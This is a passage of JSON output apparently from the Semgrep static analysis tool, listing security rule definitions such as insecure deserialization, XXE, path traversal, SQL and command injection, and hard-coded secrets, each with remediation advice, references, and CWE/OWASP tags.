Authenticity","MEDIUM CONFIDENCE","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-ecr-mutable-image-tags.aws-ecr-mutable-image-tags"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `numpy.load()` function allows `pickle` for object deserialization. This behaviour is turned off by default in version 1.16.3. Do not turn this on with `allow_pickle=True` when loading data from untrusted sources."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `numpy.load()` function allows `pickle` for object deserialization. This behaviour is turned off by default in version 1.16.3. Do not turn this on with `allow_pickle=True` when loading data from untrusted sources.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-numpy-pickle-aws-lambda.tainted-numpy-pickle-aws-lambda)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/marshal.html](https://docs.python.org/3/library/marshal.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://numpy.org/doc/stable/reference/generated/numpy.load.html](https://numpy.org/doc/stable/reference/generated/numpy.load.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://redfoxsec.com/blog/insecure-deserialization-in-python/](https://redfoxsec.com/blog/insecure-deserialization-in-python/)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `numpy.load()` function allows `pickle` for object deserialization. This behaviour is turned off by default in version 1.16.3. Do not turn this on with `allow_pickle=True` when loading data from untrusted sources."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-numpy-pickle-aws-lambda.tainted-numpy-pickle-aws-lambda","id":"python.aws-lambda.deserialization.tainted-numpy-pickle-aws-lambda.tainted-numpy-pickle-aws-lambda","name":"python.aws-lambda.deserialization.tainted-numpy-pickle-aws-lambda.tainted-numpy-pickle-aws-lambda","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.deserialization.tainted-numpy-pickle-aws-lambda.tainted-numpy-pickle-aws-lambda"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The constructor for SAXReader has an optional XMLReader argument. However, configuring this XMLReader before using it in the constructor has no effect on the security of the SAXReader. The SAXReader itself needs to be configured to prevent XXE vulnerabilities. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The constructor for SAXReader has an optional XMLReader argument. However, configuring this XMLReader before using it in the constructor has no effect on the security of the SAXReader. The SAXReader itself needs to be configured to prevent XXE vulnerabilities. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.saxreader-xmlreader-constructor.saxreader-xmlreader-constructor)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/611.html](https://cwe.mitre.org/data/definitions/611.html)\n - [https://cwe.mitre.org/data/definitions/827.html](https://cwe.mitre.org/data/definitions/827.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The constructor for SAXReader has an optional XMLReader argument. However, configuring this XMLReader before using it in the constructor has no effect on the security of the SAXReader. The SAXReader itself needs to be configured to prevent XXE vulnerabilities. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.saxreader-xmlreader-constructor.saxreader-xmlreader-constructor","id":"java.lang.security.audit.saxreader-xmlreader-constructor.saxreader-xmlreader-constructor","name":"java.lang.security.audit.saxreader-xmlreader-constructor.saxreader-xmlreader-constructor","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.saxreader-xmlreader-constructor.saxreader-xmlreader-constructor"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Initialization Vectors (IVs) for block ciphers should be randomly generated each time they are used. Using a static IV means the same plaintext encrypts to the same ciphertext every time, weakening the strength of the encryption."},"help":{"markdown":"Initialization Vectors (IVs) for block ciphers should be randomly generated each time they are used. Using a static IV means the same plaintext encrypts to the same ciphertext every time, weakening the strength of the encryption.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.no-static-initialization-vector.no-static-initialization-vector)\n - [https://cwe.mitre.org/data/definitions/329.html](https://cwe.mitre.org/data/definitions/329.html)\n","text":"Initialization Vectors (IVs) for block ciphers should be randomly generated each time they are used. Using a static IV means the same plaintext encrypts to the same ciphertext every time, weakening the strength of the encryption."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.no-static-initialization-vector.no-static-initialization-vector","id":"java.lang.security.audit.crypto.no-static-initialization-vector.no-static-initialization-vector","name":"java.lang.security.audit.crypto.no-static-initialization-vector.no-static-initialization-vector","properties":{"precision":"very-high","tags":["CWE-329: Generation of Predictable IV with CBC Mode","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.no-static-initialization-vector.no-static-initialization-vector"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.httpservlet-path-traversal-deepsemgrep.httpservlet-path-traversal-deepsemgrep)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path."},"helpUri":"https://semgrep.dev/r/java.servlets.security.httpservlet-path-traversal-deepsemgrep.httpservlet-path-traversal-deepsemgrep","id":"java.servlets.security.httpservlet-path-traversal-deepsemgrep.httpservlet-path-traversal-deepsemgrep","name":"java.servlets.security.httpservlet-path-traversal-deepsemgrep.httpservlet-path-traversal-deepsemgrep","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.httpservlet-path-traversal-deepsemgrep.httpservlet-path-traversal-deepsemgrep"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.excon.ruby-excon-hardcoded-secret.ruby-excon-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/ruby.excon.ruby-excon-hardcoded-secret.ruby-excon-hardcoded-secret","id":"ruby.excon.ruby-excon-hardcoded-secret.ruby-excon-hardcoded-secret","name":"ruby.excon.ruby-excon-hardcoded-secret.ruby-excon-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.excon.ruby-excon-hardcoded-secret.ruby-excon-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected the use of 'RawSQL' or 'raw' indicating the execution of a non-parameterized SQL query. This could lead to a SQL injection and therefore protected information could be leaked. Instead, use Django ORM and parameterized queries before raw SQL. An example of using the Django ORM is: `People.objects.get(name='Bob')`"},"help":{"markdown":"Detected the use of 'RawSQL' or 'raw' indicating the execution of a non-parameterized SQL query. This could lead to a SQL injection and therefore protected information could be leaked. Instead, use Django ORM and parameterized queries before raw SQL. An example of using the Django ORM is: `People.objects.get(name='Bob')`\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.audit.raw-query.avoid-raw-sql)\n - [https://docs.djangoproject.com/en/3.0/ref/models/expressions/#raw-sql-expressions](https://docs.djangoproject.com/en/3.0/ref/models/expressions/#raw-sql-expressions)\n - [https://semgrep.dev/blog/2020/preventing-sql-injection-a-django-authors-perspective/](https://semgrep.dev/blog/2020/preventing-sql-injection-a-django-authors-perspective/)\n","text":"Detected the use of 'RawSQL' or 'raw' indicating the execution of a non-parameterized SQL query. This could lead to a SQL injection and therefore protected information could be leaked. Instead, use Django ORM and parameterized queries before raw SQL. An example of using the Django ORM is: `People.objects.get(name='Bob')`"},"helpUri":"https://semgrep.dev/r/python.django.security.audit.raw-query.avoid-raw-sql","id":"python.django.security.audit.raw-query.avoid-raw-sql","name":"python.django.security.audit.raw-query.avoid-raw-sql","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.audit.raw-query.avoid-raw-sql"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found user controlled content when spawning a process. This is dangerous because it allows a malicious actor to execute commands."},"help":{"markdown":"Found user controlled content when spawning a process. This is dangerous because it allows a malicious actor to execute commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.dangerous-os-exec.dangerous-os-exec)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n","text":"Found user controlled content when spawning a process. This is dangerous because it allows a malicious actor to execute commands."},"helpUri":"https://semgrep.dev/r/python.lang.security.dangerous-os-exec.dangerous-os-exec","id":"python.lang.security.dangerous-os-exec.dangerous-os-exec","name":"python.lang.security.dangerous-os-exec.dangerous-os-exec","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.dangerous-os-exec.dangerous-os-exec"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.mysql.python-mysql-hardcoded-secret.python-mysql-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.mysql.python-mysql-hardcoded-secret.python-mysql-hardcoded-secret","id":"python.mysql.python-mysql-hardcoded-secret.python-mysql-hardcoded-secret","name":"python.mysql.python-mysql-hardcoded-secret.python-mysql-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.mysql.python-mysql-hardcoded-secret.python-mysql-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Cross-site scripting detected in HttpServletResponse writer with variable '$VAR'. User input was detected going directly from the HttpServletRequest into output. Ensure your data is properly encoded using org.owasp.encoder.Encode.forHtml: 'Encode.forHtml($VAR)'."},"help":{"markdown":"Cross-site scripting detected in HttpServletResponse writer with variable '$VAR'. User input was detected going directly from the HttpServletRequest into output. Ensure your data is properly encoded using org.owasp.encoder.Encode.forHtml: 'Encode.forHtml($VAR)'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.servletresponse-writer-xss.servletresponse-writer-xss)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Cross-site scripting detected in HttpServletResponse writer with variable '$VAR'. User input was detected going directly from the HttpServletRequest into output. Ensure your data is properly encoded using org.owasp.encoder.Encode.forHtml: 'Encode.forHtml($VAR)'."},"helpUri":"https://semgrep.dev/r/java.lang.security.servletresponse-writer-xss.servletresponse-writer-xss","id":"java.lang.security.servletresponse-writer-xss.servletresponse-writer-xss","name":"java.lang.security.servletresponse-writer-xss.servletresponse-writer-xss","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.servletresponse-writer-xss.servletresponse-writer-xss"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The BinaryFormatter type is dangerous and is not recommended for data processing. Applications should stop using BinaryFormatter as soon as possible, even if they believe the data they're processing to be trustworthy. BinaryFormatter is insecure and can't be made secure"},"help":{"markdown":"The BinaryFormatter type is dangerous and is not recommended for data processing. Applications should stop using BinaryFormatter as soon as possible, even if they believe the data they're processing to be trustworthy. BinaryFormatter is insecure and can't be made secure\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.insecure-deserialization.binary-formatter.insecure-binaryformatter-deserialization)\n - [https://docs.microsoft.com/en-us/dotnet/standard/serialization/binaryformatter-security-guide](https://docs.microsoft.com/en-us/dotnet/standard/serialization/binaryformatter-security-guide)\n","text":"The BinaryFormatter type is dangerous and is not recommended for data processing. Applications should stop using BinaryFormatter as soon as possible, even if they believe the data they're processing to be trustworthy. BinaryFormatter is insecure and can't be made secure"},"helpUri":"https://semgrep.dev/r/csharp.lang.security.insecure-deserialization.binary-formatter.insecure-binaryformatter-deserialization","id":"csharp.lang.security.insecure-deserialization.binary-formatter.insecure-binaryformatter-deserialization","name":"csharp.lang.security.insecure-deserialization.binary-formatter.insecure-binaryformatter-deserialization","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.insecure-deserialization.binary-formatter.insecure-binaryformatter-deserialization"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet-core.sqli.entityframework-taint-grpc.entityframework-taint-grpc)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/csharp.dotnet-core.sqli.entityframework-taint-grpc.entityframework-taint-grpc","id":"csharp.dotnet-core.sqli.entityframework-taint-grpc.entityframework-taint-grpc","name":"csharp.dotnet-core.sqli.entityframework-taint-grpc.entityframework-taint-grpc","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet-core.sqli.entityframework-taint-grpc.entityframework-taint-grpc"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected use of the 'none' algorithm in a JWT token. The 'none' algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the 'none' algorithm. Instead, use an algorithm such as 'HS256'."},"help":{"markdown":"Detected use of the 'none' algorithm in a JWT token. The 'none' algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the 'none' algorithm. Instead, use an algorithm such as 'HS256'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.java-jwt.security.jwt-none-alg.java-jwt-none-alg)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected use of the 'none' algorithm in a JWT token. The 'none' algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the 'none' algorithm. Instead, use an algorithm such as 'HS256'."},"helpUri":"https://semgrep.dev/r/java.java-jwt.security.jwt-none-alg.java-jwt-none-alg","id":"java.java-jwt.security.jwt-none-alg.java-jwt-none-alg","name":"java.java-jwt.security.jwt-none-alg.java-jwt-none-alg","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.java-jwt.security.jwt-none-alg.java-jwt-none-alg"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found dynamic content used for the external process. This is dangerous if arbitrary data can reach this function call because it allows a malicious actor to execute commands. Ensure your variables are not controlled by users or sufficiently sanitized."},"help":{"markdown":"Found dynamic content used for the external process. This is dangerous if arbitrary data can reach this function call because it allows a malicious actor to execute commands. Ensure your variables are not controlled by users or sufficiently sanitized.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/scala.lang.security.audit.dangerous-seq-run.dangerous-seq-run)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Found dynamic content used for the external process. This is dangerous if arbitrary data can reach this function call because it allows a malicious actor to execute commands. Ensure your variables are not controlled by users or sufficiently sanitized."},"helpUri":"https://semgrep.dev/r/scala.lang.security.audit.dangerous-seq-run.dangerous-seq-run","id":"scala.lang.security.audit.dangerous-seq-run.dangerous-seq-run","name":"scala.lang.security.audit.dangerous-seq-run.dangerous-seq-run","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: scala.lang.security.audit.dangerous-seq-run.dangerous-seq-run"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The SHA1 hashing algorithm is considered to be weak. If this is used in any sensitive operation such as password hashing, or is used to ensure data integrity (collision sensitive) then you should use a stronger hashing algorithm. For passwords, consider using `Argon2id`, `scrypt`, or `bcrypt`. For data integrity, consider using `SHA-256`."},"help":{"markdown":"The SHA1 hashing algorithm is considered to be weak. If this is used in any sensitive operation such as password hashing, or is used to ensure data integrity (collision sensitive) then you should use a stronger hashing algorithm. For passwords, consider using `Argon2id`, `scrypt`, or `bcrypt`. For data integrity, consider using `SHA-256`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.jssha.jssha-sha1.jssha-sha1)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"The SHA1 hashing algorithm is considered to be weak. If this is used in any sensitive operation such as password hashing, or is used to ensure data integrity (collision sensitive) then you should use a stronger hashing algorithm. For passwords, consider using `Argon2id`, `scrypt`, or `bcrypt`. For data integrity, consider using `SHA-256`."},"helpUri":"https://semgrep.dev/r/javascript.jssha.jssha-sha1.jssha-sha1","id":"javascript.jssha.jssha-sha1.jssha-sha1","name":"javascript.jssha.jssha-sha1.jssha-sha1","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.jssha.jssha-sha1.jssha-sha1"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the XMLReader parser with `parser.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD,\"\")`, configuring the both of `parser.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` and `parser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the XMLReader parser with `parser.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD,\"\")`, configuring the both of `parser.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` and `parser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.xxe.tainted-xmlreader-xxe-spring.tainted-xmlreader-xxe-spring)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/611.html](https://cwe.mitre.org/data/definitions/611.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - 